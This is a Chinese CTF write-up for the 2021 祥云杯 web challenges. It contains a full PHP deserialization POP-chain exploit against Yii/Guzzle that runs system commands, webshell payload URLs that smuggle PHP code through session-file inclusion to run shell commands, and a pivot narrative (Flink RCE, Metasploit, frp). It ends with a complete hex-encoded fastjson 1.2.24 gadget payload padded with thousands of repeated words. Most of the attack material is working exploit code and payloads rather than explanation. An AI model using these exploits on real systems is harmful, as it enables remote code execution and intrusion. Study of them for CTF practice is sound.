title: "祥云杯"
tags:
  - null
categories:
  - null
description: "祥云杯2021"
top_img: /2.jpg
cover: /image/buu.png
password: sm1le
date: 2021-08-22 10:37:07
top:

web

**ezyii**

yii的最新链子！

本地复现一下！

入口：

image-20210822214951068

__call方法

image-20210822215003676

call_user_func

image-20210822215243190

链：

RunProcess 入口 --> DefaultGenerator __call -->AppendStream -->CachingStream -->PumpStream call_user_func方法！

poc

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{

        private $processes = [];protected $output;
        public function __construct(){

            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output = new DefaultGenerator();
        }
    }
    $a= base64_encode(serialize(new RunProcess()));
    echo urlencode($a)."\n";


}
namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[] = new CachingStream();
        }

    }
    class CachingStream{
        private $remoteStream;
        private $skipReadBytes = 0;
        public function __construct(){
            $this->remoteStream = new DefaultGenerator();
            $this->stream = new PumpStream();
        }
    }

    class PumpStream{
        private $source;

        private $size = -100;

        private $tellPos = 0;

        private $metadata;


        private $buffer;
        public function __construct(){
            $this->buffer = new DefaultGenerator();
            include("closure/autoload.php");
            $a = function(){system('cat /*');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

image-20210822214927913

flag{05e0b2e8-5e5a-4258-8f2c-570655f6130f}

安全检测

先随便登进去了！

发现可以ssrf! 过滤了file! 但是可以http

发现有/admin目录！

发现include123.php文件

image-20210822215449165

<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了，饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){    
    if (preg_match( "/$value/i", $u )){
        echo "检测到恶意字符";
        exit(0);
    }
}

include($u);


show_source(__FILE__);
?>

有文件包含！

发现可以包含session文件！

image-20210822215731782

session文件内容是

ver|s:0:"";user1|s:1:"a";url1|s:0:"";html1|s:1:"v";url2|s:80:"http://0.0.0.0/admin/include123.php?u=/tmp/sess_0a56497011c9a055307d6a65626229c1";

观察session内容发现！直接可以rce!

可以直接rce

http://0.0.0.0/admin/include123.php?u=/tmp/sess_0a56497011c9a055307d6a65626229c1&cmd=<?=`$_GET[1]`?>&1=ls%20/

image-20210822215849279

http://0.0.0.0/admin/include123.php?u=/tmp/sess_0a56497011c9a055307d6a65626229c1&cmd=<?=`$_GET[1]`?>&1=bash%20/get????.sh

image-20210822215906142

flag{a16978f8-1897-45e6-92db-2cac0121df36}

层层穿透

先是Apache Flink Web Dashboard【漏洞复现】Apache Flink Web Dashboard 未授权访问导致RCE

msf上线！后！

发现内网10.10.1.0/24 段下！

存在10.10.1.1:8080

frp内网代理出来！

image-20210822225137632

知道了密码

image-20210822225314483

登录

image-20210822231930797

fastjson版本是1.2.24

存在漏洞！

fastjson1.2.24存在rce漏洞

payload:

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901000B746F55707065724361736501001428294C6A6176612F6C616E672F537472696E673B01001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000967657457726974657201001728294C6A6176612F696F2F5072696E745772697465723B0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B295601000C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363616E6E65723B0100046E6578740100136A6176612F696F2F5072696E745772697465720100077072696E746C6E010015284C6A6176612F6C616E672F537472696E673B2956010005666C7573680100116765744465636C617265644669656C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973417272617901000328295A01000D6765745375706572636C617373010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700CA0A00CB005F0021003300CB000000030008003400350001003600000002003700080038003900000008003A003B000000040001003C003D0001003E0000005C000200010000001E2AB700CC01B3000201B30003BB000459B70005B30006B8000703B80008B100000002003F0000001A0006000000140004001500080016000C001700160018001D001900400000000C00010000001E004100420000000A004300440001003E0000005A000200010000001A2AC6000DB200062AB6000999000504ACB200062AB6000A5703AC00000003003F0000001200040000001D000E001E001000210018002200400000000C00010000001A00450046000000470000000400020E01000A003A00480001003E000001D300050003000000EF1B1034A3000FB20002C6000AB20003C60004B12AB8000B9A00D7B20002C70051120C2AB6000DB6000E9900452AC0000CB30002B20002120FB900100200C7000A01B30002A7002AB20002B6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B20003C6007006BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C041220532C05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B60029B6002AB20003B900210100B6002BA700044DB12A1B0460B80008B100020047006600690017007A00E200E500170003003F0000006A001A000000250012002600130028001A0029002C002A0033002B0040002C0047002F0066003300690031006A0032006E0037007A003A007F003B008F003C0094003D009C003F00A1004000A6004200B3004400D7004500E2004700E5004600E6004800E7004B00EE004D00400000002A0004006A00040049004A0002007F0063004B004C0002000000EF004D00460000000000EF004E004F0001004700000022000B1200336107005004FC002D07005109FF003E0002070052010001070050000006000A005300480001003E000001580002000C000000842AB6000D4D2CB6002C4E2DBE360403360515051504A200652D1505323A06190604B6002D013A0719062AB6002E3A071907B6000DB6002F9A000C19071BB80030A7002F1907C00031C000313A081908BE360903360A150A1509A200161908150A323A0B190B1BB80030840A01A7FFE9A700053A08840501A7FF9A2CB60032594DC7FF85B100010027006F007200170003003F0000004200100000005000050052001E00530024005400270056002F0058003A00590043005B0063005C0069005B006F00620072006100740052007A0065007B00660083006800400000003E00060063000600540046000B0027004D004D00460007001E00560055005600060000008400570046000000000084004E004F00010005007F00580059000200470000002E0008FC000507005AFE000B07005B0101FD003107005C070052FE00110700310101F8001942070050F90001F800050001005D00000002005E707400016170770100787400017878737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000000787871007E000D78;"},"upload":"uploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploadu